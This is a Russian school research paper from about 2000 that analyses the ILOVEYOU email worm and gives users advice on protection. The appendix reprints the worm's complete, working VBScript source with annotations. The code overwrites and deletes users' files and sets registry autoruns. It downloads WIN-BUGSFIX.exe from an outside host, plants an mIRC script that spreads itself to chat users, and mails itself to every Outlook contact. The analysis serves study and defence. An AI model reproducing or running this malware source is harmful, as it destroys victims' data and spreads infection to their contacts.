Интернет – червь I LOVE YOU (LOVE LETTER FOR YOU). Принцип работы. Меры безопасности для защиты от заражения и предотвращения деструктивных действий

1



19













МАЛАЯ АКАДЕМИЯ НАУК КРЫМА  

«ИСКАТЕЛЬ»

 

Секция информатики













Интернет – червь I LOVE YOU 

(LOVE LETTER FOR YOU). Принцип работы.

Меры безопасности для защиты от заражения

и предотвращения деструктивных действий.



















Действительный член МАН Крыма «Искатель»

Ученик 11 класса

Форосской общеобразовательной школы I – III ступени г. Ялты

КОРАБЛЕВ Андрей











Научный руководитель – КОРАБЛЕВ А. Б.

Инженер - системотехник



ВВЕДЕНИЕ.



	В настоящее время наблюдается безудержный рост числа пользователей глобальной сети Internet. Все большее количество людей получает возможность оперативно получать необходимую информацию, обмениваться письмами, общаться по интересам и т.д. используя ресурсы Internet, который стал поистине глобальной компьютерной сетью. Развитие сети несет с собой рост компьютерной грамотности и способствует распространению компьютеров не только в учреждениях и банках, но и в домах людей, не являющихся специалистами по компьютерам.

	В последние годы возник новый вид пользователя – пользователь домашнего компьютера, не являющийся специалистом – компьютерщиком и в основном  использующий компьютер для игр и для подключения к сети Internet. И количество таких пользователей увеличивается в геометрической прогрессии. С одной стороны, рост компьютеризации имеет положительное значение – компьютеры все больше входят в жизнь людей и облегчают ее. Однако, как и все медали, это явление имеет и оборотную сторону – уровень подготовки пользователей все более снижается, все далее уходит от профессионализма. Этому в немалой степени способствуют фирмы-изготовители программного обеспечения. В своих программных продуктах они максимально облегчают интерфейс, предельно уменьшают участие пользователя в работе программы, автоматизируя сам процесс работы. Использование языков высокого уровня, предельное упрощение и автоматизация процесса создания программ позволяет пользователям создавать программные продукты весьма неплохого качества даже при отсутствии глубоких знаний программирования и устройства компьютера.

	При всех плюсах автоматизирования работы программных продуктов, выражающихся в облегчении работы с ними, существует и большой минус. Программисты, создающие программное обеспечение, вынуждены создавать операционные системы, имеющие гигантское количество так называемых «внешних ручек управления» (иначе говоря, программных «окон»), позволяющих управлять работой одних программ при помощи других или при помощи скриптов. При этом, контроль за ходом выполнения программы со стороны пользователя не обязателен и в большинстве случаев  не нужен. Сложное разветвление скриптов и использование системного реестра операционной системой MS Windows 98 может послужить наглядным примером. 

	Создатели данной операционной системы и великого множества приложений к ней постарались предельно «облегчить жизнь» простого пользователя и предельно автоматизировали их работу. Однако при этом они максимально облегчили жизнь и еще одному виду пользователя – компьютерному вирмейкеру, создающему определенный тип программ – компьютерные вирусы.

	В течении последних года – двух вирмейкеры резко поменяли цель своих «усилий» - вместо атак на операционные системы, память и системные области жесткого диска стали использоваться для проникновения в компьютер те же «внешние ручки управления» входящие в состав MS Office, MS Outlook, mIRC32 и другие приложения MS Windows. Статистика описаний новых вирусов, подключаемых к антивирусным базам программы AVP Е. Касперского, получаемая мной с сайта www.viruslist.com , говорит о том, что за период июня-июля 2000 года 80% из поступивших вирусов составили Internet-черви и  Internet-троянцы,  15% - вирусы для MS Word и 5% - вирусы для почтовых программ IRC. За этот период практически не было обнаружено в «диком» виде ни одного вируса, проникающего в систему при помощи нестандартных функций операционных систем или при помощи работы напрямую с контроллерами   внешних устройств. Не используется и система прерываний BIOS и операционной системы как для проникновения, так и для осуществления деструктивных действий. В основном для всего этого используются встроенные функции языка Visual Basic, Java, скриптов MS Word, Excel, Access.

	

НАПРАВЛЕНИЯ РАЗВИТИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ, НАМЕТИВШИЕСЯ В ПОСЛЕДНИЕ ГОДЫ. 



	После появления MS Office 97  с развитой системой макросов и операционной системы MS Windows 98 со встроенными функциями Visual Basic и  Java как бы открылись широкие ворота для всех видов проникновения в систему. При этом резко расширились возможности и для различных (в том числе и деструктивных) действий внутри системы.

	Одними из первых «ласточек» этого типа вирусов был нашумевший вирус Melissa. И если внимательно проследить сейчас за сообщениями в компьютерной прессе и на информационных сайтах Internet, то они в последнее время напоминают сообщения с поля боя! Вирус Melissa, парализовавший работу сети на долгое время, вирус Timofonica, вторгшийся в систему сотовой связи, каждый из вирусов приносит миллиардные убытки. По подсчетам экономистов убытки только в течение 2000 года превысили уже 25 миллиардов долларов! И это только за последние полгода!

	Мне очень захотелось подробно рассмотреть эти вирусы, понять, почему они смогли нанести такой большой вред множеству пользователей и провайдеров сети Internet, найти способы борьбы с ними и возможности избежать заражения в дальнейшем. 

	И поработать я решил с одним из нашумевших и принесших наиболее ощутимые убытки (10 млрд. долларов) вирусом I LOVE YOU (LOVE LETTER FOR YOU).  



АНАЛИЗ АЛГОРИТМА ИНТЕРНЕТ-ЧЕРВЯ 

I LOVE YOU (LOVE LETTER FOR YOU).



	Компьютерный вирус I LOVE YOU по своей сути является одним из представителей класса вирусов – Internet – червем, распространяющемся по системе электронной почты и использующий для своего функционирования встроенные функции Visual Basic из состава MS Windows 98 (при наличии установленного приложения Visual Basic и в MS Windows 95). Он интересен тем, что является первым из серии подобных вирусов. В дальнейшем куски его кода и идеи, реализованные в нем, стали широко использоваться в других вирусах и в его клонах. Исходный текст вируса получен мной из ресурсов Internet и является рабочим, поэтому использовать его необходимо со всеми предосторожностями! 

	Интернет – червь I LOVE YOU (в дальнейшем будем для удобства называть его «вирус») проникает в систему при получении по электронной почте письма с темой I LOVE YOU и присоединенным файлом LOVE LETTER FOR YOU.TXT.VBS., в котором содержится код вируса. При прочтении данного письма программой MS Outlook файл с телом вируса получает управление.

	Здесь стоит несколько отвлечься от хода алгоритма вируса и обратить ваше внимание на использование автором вируса знания психологии человека. Вирус для рассылки собственных копий (это мы увидим далее) использует адресную книгу приложений MS Outlook и mIRC. Как обычно, в адресную книгу заносятся адреса тех, кто человеку близок – друзей, деловых партнеров, знакомых, родственников. Получив от кого-либо из этой категории людей письмо с признанием в любви, пользователь просто не сможет побороть желание открыть его. В этом – то  и заключается психологическое воздействие на пользователя со стороны автора вируса – открыв письмо, пользователь запускает вирус на исполнение.

	Для скрытия того, что файл с телом вируса является исполняемым файлом Visual Basic, автор использовал настройки самой системы MS Windows. Суть заключается в том, что по умолчанию в системе используется показ имени файла без расширения. В результате на экране при просмотре списка файлов вместо файла LOVE-LETTER_FOR_YOU.TXT.VBS, являющегося исполняемым файлом Visual Basic, пользователь видит LOVE-LETTER_FOR_YOU.TXT, что дает ему основание считать его текстовым файлом, не могущим содержать в себе кода вируса. Большая  часть пользователей использует настройки системы MS Windows по умолчанию.

	В теле вируса содержится копирайт автора – студента из Манилы [1].

	После открытия письма для чтения читается файл с телом вируса [3] и запускается главная процедура работы вируса.

	Вирус анализирует наличие запрета на обработку скриптов в системном реестре и если он есть, то путем изменения соответствующего ключа реестра снимает его [4].

	Далее вирус определяет пути к каталогам WIN, SYSTEM и TEMP [5]. В каталог WIN копируется тело вируса под именем Win32.DLL.VBS, а в каталог SYSTEM копируется тело вируса в два файла с именами MSKernel32.vbs и LOVE-LETTER-FOR-YOU.TXT.VBS [6].

	Далее в реестре Windows создается ключ, который будет запускать вирус при каждой загрузке Windows.

	Анализируется расположение приемного каталога электронной почты и если он не является корневым каталогом диска С:, то он переназначается на С:[7]. Это делается для того, чтобы в дальнейшем принятый файл WIN-BUGSFIX.EXE был расположен в корневом каталоге С:.

	В каталоге SYSTEM ищется файл WinFAT32.exe и при его наличии генерируется случайное число в пределах 1-4 [8]. Если файл найден, то производится прописывание одного из четырех (в зависимости от случайного числа) адресов сайта www.skyinet.net в реестре в качестве стартовой страницы для MS Internet Explorer. Устанавливается соединение и  с сервера скачивается файл WIN-BUGSFIX.exe [9].

	Мои собственные попытки связаться с этим сайтом и вручную скачать  файл для дальнейшего изучения закончились неудачей. Все четыре адреса на  сайте отсутствуют.

	Если удалось скачать файл, то в реестре Windows создается ключ, который будет запускать его при каждой загрузке Windows [10] и стартовой страницей для MS Internet Explorer прописывается файл about:blank.

	На этом заканчивается внедрение вируса в систему, и он переходит к активным деструктивным действиям. 

	Производится проверка типов дисков и поиск файлов по всем дискам. Далее проверяются расширения найденных файлов [11], и в соответствии с расширениями производятся деструктивные действия:

если расширения .VBS или .VBE – вирус записывает вместо них свое тело, не меняя расширения;

если расширения .JS; .JSE; .CSS; .WSH; .SCT; .HTA – вирус записывает вместо них свое тело и меняет расширения на .VBS. Оригинальные файлы удаляются.

если расширения .JPG или .JPE – вирус записывает вместо них свое тело и меняет расширения на .VBS. Оригинальные файлы удаляются.

если расширения файлов .MP2; .MP3 – вирус создает файлы с такими же именами, но расширениями .VBS, а оригинальным файлам присваивает атрибут «Hidden».

Алгоритм деструктивных действий очень прост и прозрачен. Автором для начинающих вирмейкеров оставлена возможность безудержно фантазировать и произвольно изменять (а также расширять по своему усмотрению) список расширений файлов, подвергающихся атаке. Поэтому после атаки оригинального вируса в течении трех дней мировая сеть была наводнена его клонами. И клоны эти были уже направлены на файлы с расширениями .COM; .EXE; .DLL;.INI и т.д.

	Закончив свои деструктивные действия на компьютере пользователя, вирус предпринимает действия для дальнейшего распространения среди пользователей сети Internet.

	В первую очередь он ищет в системе программу mIRC32, осуществляющую связь с чат-серверами и при ее наличии создает файл script.ini [12]. В теле скрипта пишется грозное предупреждение о том, что запрещается редактировать этот скрипт – это приведет к повреждению программы mIRC, а при поврежденной mIRC система не будет работать корректно. Таким образом автор пытается предотвратить попытки пользователя очистить скрипт от лишнего содержимого. В скрипт включается запись, которая осуществляет рассылку всем участникам чата копии вируса в виде   файла LOVE-LETTER-FOR-YOU.HTM  [13]. Сам файл содержится в теле вируса.

	После попытки (удачной или неудачной) распространения своего тела среди участников чата, вирус предпринимает попытку распространения себя по электронной почте, используя при этом программу Microsoft Outlook Express [14].

Вначале вирус получает доступ к адресной книге приложения Outlook [15], а затем организует цикл перебора адресов для создания писем со своим телом [16]. 

	Далее вирус создает тело письма с адресом отправителя, темой и текстом [17], присоединяет к письму файл с телом вируса  [18] и отправляет его адресату. Если в Outlook нет адресной книги или она пустая – письма не создаются.

	Закончив свои процедуры вирус завершает работу не оставляя при этом  своей резидентной копии в памяти компьютера.



ОСОБЕННОСТИ АЛГОРИТМА ВИРУСА, ВЫВОДЫ И НЕКОТОРЫЕ РЕКОМЕНДАЦИИ ПО БОРЬБЕ С ПОДОБНЫМИ ТИПАМИ ВИРУСОВ.



	Подробный анализ алгоритма вируса позволяет сделать несколько выводов.

Исследуемый вирус, его клоны и другие вирусы данного типа не являются чем-либо из ряда вон выходящим. В нем используются достаточно простой алгоритм и механизм проникновения  в систему. Хотелось бы отметить и то, что процесс проникновения в систему не использует каких либо функций, позволяющих скрыть свое присутствие в системе. В чем же состоит опасность вируса? Исследуя его, я не увидел каких-либо ярко выраженных особенностей алгоритма и приемов стелсирования, однако ущерб от его деструктивных действий огромен. Это кажется парадоксом. 

	Внимательно исследуя алгоритм вируса и процесс его работы я пришел к выводу, что автор вируса умело использовал знания человеческой психологии, при этом предназначив вирус для той категории пользователей, которая сейчас очень многочисленна – пользователей домашних персональных компьютеров, подключенных к сети Internet. Так же на этом вирусе «попались» недостаточно профессионально подготовленные системные администраторы узлов.

	 Как же возможно противостоять атаке исследуемого вируса и подобных ему? Алгоритм заражения и деструктивных действий может видоизменяться, но каналов проникновения в систему не так уж и много. В связи с этим вирусописатели вынуждены использовать всевозможные приманки для пользователей. Мы уже видим, что в исследуемом вирусе использовано признание в любви в качестве приманки. Очень многие не смогли побороть искушения посмотреть, кто же так любит его. Так же возможны к использованию в качестве темы письма и такие варианты: «…Вы хотите заработать за день 10000 долларов?» или «…бесплатные звонки в СЩА» или «… мобильные телефоны за 1$ без абонентской платы». 

	Что бы я посоветовал пользователям, заинтересованным в защите от распространяющихся в последнее время как грибы после дождя интернет-червей?

Никогда не читайте полученные по электронной почте письма с предложениями чего-либо бесплатного или очень дешевого, а так же любые другие заманчивые предложения. В лучшем случае это может оказаться «спамом». Обратитесь к системному администратору Вашего узла с просьбой проверить письмо на наличие нового вируса.

Никогда не оставляйте настроек Windows и его приложений в режиме «по умолчанию». Данный режим предназначен неизвестно для кого и очень молоинформативен. Если Вы используете какое-либо приложение Windows, то внимательно изучите инструкции по его использованию и описание программ, тогда Вам будет легче ориентироваться – нормально ли работает приложение.

Используйте всегда свежее антивирусное программное обеспечение. Я посоветовал бы пользоваться антивирусом AVP лаборатории Евгения Касперского. У меня на компьютере установлена версия 1.32 и на сайте лаборатори и я ежедневно получаю дополнения по Internet. 

	 

















































Исходный текст вируса LOVE-LETTER-FOR-YOU ( I LOVE YOU) с комментариями.





rem  barok -loveletter(vbe) <i hate go to school>								        Копирайты автора вируса, на основании 

rem 			by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  Manila,Philippines    которых сделан вывод о филиппинском про-    

On Error Resume Next											       исхождении вируса   [1]

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")	Подготавливается окружение для работы вируса. [2]

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll						 Читается основной файл вируса                              [3]

main()								  Запускается главная процедура

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")												  Если установлен запрет на

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")			  обработку скриптов, то

if (rr>=1) then																  изменением ключа в [4]

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"  реестре она разрешается.

end if																		

Set dirwin = fso.GetSpecialFolder(0)			Определяются пути к: каталогу WIN;	 				 [5]

Set dirsystem = fso.GetSpecialFolder(1)					   каталогу SYSTEM;

Set dirtemp = fso.GetSpecialFolder(2)					   каталогу TEMP; 

Set c = fso.GetFile(WScript.ScriptFullName)            		; Определяется имя активного файла

c.Copy(dirsystem&"\MSKernel32.vbs")				; В каталог SYSTEM копируется копия вируса                 [6]

c.Copy(dirwin&"\Win32DLL.vbs")					; В каталог WIN копируется копия вируса 

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")	; В каталог SYSTEM копируется вторая копия вируса

regruns()								; Запускается процедура работы с реестром Windows

html()									; Запускается процедура работы с HTML файлами

spreadtoemail()							; Запускается процедура работы с электронной почтой

listadriv()								; Запускается процедура деструктивных действий

end sub







====================Процедура работы с реестром WINDOWS================



sub regruns()

On Error Resume Next

Dim num,downread

regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"	  

regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"    



			Создается ключ в реестре, который будет запускать вирус при загрузке WINDOWS 

downread=""														 

downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")	Анализируется расположение каталога

if (downread="") then													Download Directory и если он не является

downread="c:\"													корневым каталогом диска С: , то   пере-

end if															назначается на C:\         [7]



if (fileexist(dirsystem&"\WinFAT32.exe")=1) then		Проверяется наличие в системном каталоге файла WinFAT32.exe             [8]

Randomize							и при его наличии генерируется случайное число в пределах 1 - 4

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"

elseif num = 2 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"

elseif num = 3 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"

elseif num = 4 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"

end if

end if

В случае наличия в системной директории файла WinFAT32.exe производится прописывание одного из четырех адресов сайта  http://www.skyinet.net/ в реестре в качестве стартовой страницы для Microsoft Internet Explorer (в зависимости от сгенерированного случайного числа ). С сервера скачивается файл  WIN-BUGSFIX.exe.    [9]



if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then

regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"

regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"



При наличии файла WIN-BUGSFIX.exe в каталоге Download  ( C: \ ) в реестре прописывается ключ для его запуска при загрузке Windows и стартовой страницей Microsoft Internet Explorer прописывается файл about:blank   [10]

end if

end sub





====================Процедура деструктивных действий================



    -----------------Подпрограмма поиска на дисках ------------

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then			Производится проверка типа дисков и поиск по всем дискам

folderlist(d.path&"\")

end if

Next

listadriv = s

end sub



      ----------------Подпрограмма заражения файлов ------------



sub infectfiles(folderspec)  

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.GetExtensionName(f1.path)		Проверяются расширения файлов [11]

ext=lcase(ext)

s=lcase(f1.name)

if (ext="vbs") or (ext="vbe") then

set ap=fso.OpenTextFile(f1.path,2,true)		Если расширения файлов .VBS или .VBE, то вирус записывает себя вместо них.

ap.write vbscopy					

ap.close

elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then    Если расширения файлов .JS ; .JSE ; .CSS ; .WSH ; .SCT ;

set ap=fso.OpenTextFile(f1.path,2,true)								 .HTA, то вирус также записывает себя вместо них

ap.write vbscopy										          и меняет расширения на .VBS

ap.close

bname=fso.GetBaseName(f1.path)

set cop=fso.GetFile(f1.path)			         Вирус удаляет оригинальные файлы.

cop.copy(folderspec&"\"&bname&".vbs")	 

fso.DeleteFile(f1.path)

elseif(ext="jpg") or (ext="jpeg") then

set ap=fso.OpenTextFile(f1.path,2,true)         Если расширения файлов .JPG ; .JPE ,то вирус записывает себя вместо них и меняет расширения на .VBS

ap.write vbscopy

ap.close

set cop=fso.GetFile(f1.path)			

cop.copy(f1.path&".vbs")			         Вирус удаляет оригинальные файлы.	     

fso.DeleteFile(f1.path)

elseif(ext="mp3") or (ext="mp2") then

set mp3=fso.CreateTextFile(f1.path&".vbs")		Если расширения файлов .MP2 ; .MP3 ,то вирус создает файлы с такими же именами, но

mp3.write vbscopy					расширениями .VBS

mp3.close

set att=fso.GetFile(f1.path)				Вирус присваивает оригинальным файлам .MP2 или .MP3 атрибут «Hidden»

att.attributes=att.attributes+2

end if

if (eq<>folderspec) then											Вирус ищет в системе программу mIRC32 ( чат )

if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then         и создает при ее наличии файл script.ini  [12]

set scriptini=fso.CreateTextFile(folderspec&"\script.ini")



-----------Скрипт для программы mIRC32 (script.ini)--------------



scriptini.WriteLine "[script]"

scriptini.WriteLine ";mIRC Script"

scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will"

scriptini.WriteLine "     corrupt... WINDOWS will affect and will not run correctly. thanks"

scriptini.WriteLine ";"

scriptini.WriteLine ";Khaled Mardam-Bey"

scriptini.WriteLine ";http://www.mirc.com"

scriptini.WriteLine ";"

scriptini.WriteLine "n0=on 1:JOIN:#:{"

scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }"						   Эта часть скрипта осуществляет рассылку всем

scriptini.WriteLine "n2=  /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"     участникам чата копии вируса в виде HTM файла   [13]

scriptini.WriteLine "n3=}"

scriptini.close

eq=folderspec

end if

end if

next  

end sub

sub folderlist(folderspec)  

On Error Resume Next

dim f,f1,sf

set f = fso.GetFolder(folderspec)  		Вирус запоминает пути к зараженным файлам

set sf = f.SubFolders

for each f1 in sf

infectfiles(f1.path)

folderlist(f1.path)

next  

end sub



     --------Подпрограмма создания ключа в реестре -----------



sub regcreate(regkey,regvalue)

Set regedit = CreateObject("WScript.Shell")			Запись ключа в реестр

regedit.RegWrite regkey,regvalue

end sub



 -------------Подпрограмма чтения ключа в реестр -----------



function regget(value)

Set regedit = CreateObject("WScript.Shell")

regget=regedit.RegRead(value)				Проверка записи ключа в реестр 

end function							

function fileexist(filespec)

On Error Resume Next

dim msg

if (fso.FileExists(filespec)) Then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

function folderexist(folderspec)		Данной процедурой вирус подготавливает отправку сообщений со своей копией по электронной почте.

On Error Resume Next								[14]

dim msg

if (fso.GetFolderExists(folderspec)) then

msg = 0

else

msg = 1

end if

fileexist = msg

end function



=================Процедура рассылки копий вируса по электронной почте =============



sub spreadtoemail()

On Error Resume Next

dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

set regedit=CreateObject("WScript.Shell")			

set out=WScript.CreateObject("Outlook.Application")      

set mapi=out.GetNameSpace("MAPI")			Вирус   получает доступ к   адресной книге программы Outlook Express.[15]	          

for ctrlists=1 to mapi.AddressLists.Count			

set a=mapi.AddressLists(ctrlists)

x=1

regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)

if (regv="") then										

regv=1

end if

if (int(a.AddressEntries.Count)>int(regv)) then

for ctrentries=1 to a.AddressEntries.Count        

malead=a.AddressEntries(x)				Организуется цикл для рассылки по всем адресам адресной книги [16]

regad=""

regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)

if (regad="") then

set male=out.CreateItem(0)									       Вирус создает тело письма с адресом отправителя, темой и 

male.Recipients.Add(malead)									       текстом. [17]

male.Subject = "ILOVEYOU"

male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."

male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")			Присоединяет к письму файл с телом вируса [18]

male.Send												Отсылает письмо адресату			       

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"

end if

x=x+1

next

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count

else													         Если нет адресной книги, то письма не создаются

regedit.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\WAB\”&a,a.AddressEntries.Count

end if

next

Set out=Nothing

Set mapi=Nothing

end sub



============Процедура создания HTM страницы========== 



















 

sub html

On Error Resume Next

dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6



dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _

"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _

"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _

"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _

"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _

"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _

"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _

"<?-?BODY><?-?HTML>"&vbcrlf& _

"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _

"<!--?-??-?"&vbcrlf& _

"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _

"?-??-?-->"&vbcrlf& _

"<?-?SCRIPT>"&vbcrlf& _

"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _

"<!--"&vbcrlf& _

"on error resume next"&vbcrlf& _

"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _

"aw=1"&vbcrlf& _

"code="

dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _

"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _

"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _

"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _

"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _

"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _

"wri.write code4"&vbcrlf& _

"wri.close"&vbcrlf& _

"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _

"if (err.number=424) then"&vbcrlf& _

"aw=0"&vbcrlf& _

"end if"&vbcrlf& _

"if (aw=1) then"&vbcrlf& _

"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _

"window.close"&vbcrlf& _

"end if"&vbcrlf& _

"end if"&vbcrlf& _

"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _

"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _

"?-??-?-->"&vbcrlf& _

"<?-?SCRIPT>"

dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")

dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")

dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")

dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")

dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")

dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")

dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")

dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")

set fso=CreateObject("Scripting.FileSystemObject")

set c=fso.OpenTextFile(WScript.ScriptFullName,1)

lines=Split(c.ReadAll,vbcrlf)

l1=ubound(lines)

for n=0 to ubound(lines)

lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))

lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))

if (l1=n) then

lines(n)=chr(34)+lines(n)+chr(34)

else

lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"

end if

next

set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")

b.close

set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)

d.write dt5

d.write join(lines,vbcrlf)

d.write vbcrlf

d.write dt6

d.close

end sub



С О Д Е Р Ж А Н И Е.



Введение ……………………………………………………………………. 2

Направления развития компьютерных вирусов, наметившиеся в 

последнее время ……………………………………………………………. 3

Анализ алгоритма интернет-червя I LOVE YOU (LOVE LETTER FOR

YOU) ………………………………………………………………………… 4

Особенности алгоритма вируса, выводы и некоторые рекомендации по 

     борьбе с подобными типами вирусов………………………………………. 7

5. Приложение с описанием вируса ……………………………………………9